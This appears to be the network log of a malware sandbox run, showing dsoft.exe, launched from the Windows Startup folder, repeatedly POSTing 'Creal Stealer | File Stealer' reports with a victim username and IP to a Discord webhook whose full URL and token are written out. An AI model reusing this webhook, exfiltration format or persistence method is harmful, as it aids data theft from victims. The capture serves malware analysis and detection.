                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:27 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:27 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:27 UTC1257INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:27 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499008
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4ZXpSo2%2BaXFyNgLwc9qdUp5Q%2BWrqlig%2Bhi7m0lOXyf5oyDeQ1HV8XPof0Idt5bAHjMMO%2BHQ4o9OWqBvbC3w0H1jGNn2DYIeT2dKAuMuM43yRemUHTSnFZyK0UeLA"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=04d1b9d4755c454c31ecf0afc21bee5b41f3d7fa-1735499007; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=CkAU4wvuinY7VSQBuxAaFe2MX0IoKrLwE0HNsPZZ4Xg-1735499007418-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cdbe8c1c407-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:27 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        53192.168.2.449874162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:28 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:28 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:29 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:29 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499010
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iBh7Rq%2BAp0gzXV7sV%2F7ItugGkH17M3ThQXbu0PIi4SKCvY5UK%2BwEKAr8jUeQC05gS%2FUTdMzQL3HzYblbH5LivrgeGy5kgHdeOLcHsmy3cdAwzakX3wGg%2BjPHG4bA"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=5c4d586504d8d523343951f151e8ee259ba7b2ee-1735499009; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=LNfy8_qwbtt_hjXnn9nd_fIg2vMpZSDGyBTxEpDlOeI-1735499009222-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0ce72898440b-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:29 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        54192.168.2.449880162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:30 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:30 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:31 UTC1249INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:31 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499012
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y3sxO8scir0uydDeJ7QyCIYUzzuwYt5zMlZAjlYMKTYTWfpakHNlHprVCqcj9LAMNB52TCpl4eeP6VYyWI2Lnvn1obZFVpV0sUwNWOOGPDuk8hKoXRDLMXLYrym6"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=60d593be25043467746a49639a50e2ddd2f9e886-1735499011; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=kRBOi1Ru0PZnWfTzRPU5lEJMjQG9HQbzYdLWckj.y_8-1735499011300-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cf43d550c9e-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:31 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        55192.168.2.449886162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:32 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:32 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:33 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:33 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499014
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gbd04dLuhc6PGTV3kMdSyj%2F0vobgnVIJJNGymvbxF1sBsnU4O1I7E1zNdtiWmCZmmDvddQr%2FTAHNKB9QfmmYOF0%2BtrnIafD74WT8ggCNIZRzP3G6owUzTYi4cb9Y"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=3c11febff06a62eff471598f21fc0e996cac8f1c-1735499013; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=8KSsCdofRdkxrBpX8n7VmHyYizZzLRP.9Ow1vHS5CDs-1735499013139-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cffbe87c413-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:33 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        56192.168.2.449891162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:34 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:34 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:35 UTC1261INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:35 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499016
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sy9KVxMVD7qf0C6XMFZts06mmLM2zknFTZVHOKq8N1GaYTqVIx%2F%2BrywOe%2BtD4yB6RiLEeng2DubUJoFoljXulw%2FklZWLOGA%2Frz2PE3wxdcQ7FjAhCx%2FlBDy0rP5z"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=07963cc75aadd327a08d2c3a65b4be31823db941-1735499015; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=BNIT.lVubmO1uY4cD5Oknv1LqR93i6aLkg9gBlI0aQs-1735499015083-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0d0bc97e41ff-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:35 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        57192.168.2.449896162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:36 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:36 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:37 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:36 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499018
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nVR1gLEYepWg%2FUpW56YFuugIEnOg3p8LVZlWAP2S6ryeJfJwSjdmFsiIOVePds7J68eBwY46Y1sUP0%2FuwA46NNfTYXbqHkIb9jUEK1Z%2BEFtS6F8GKjnE0EALLniO"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=939315ec5b08a56be06b01f5f17246f24c77a27b-1735499016; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=NelU66JCyPIKGtGD.s8Q9iL4tLInET2dPU0HKcg63ss-1735499016870-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
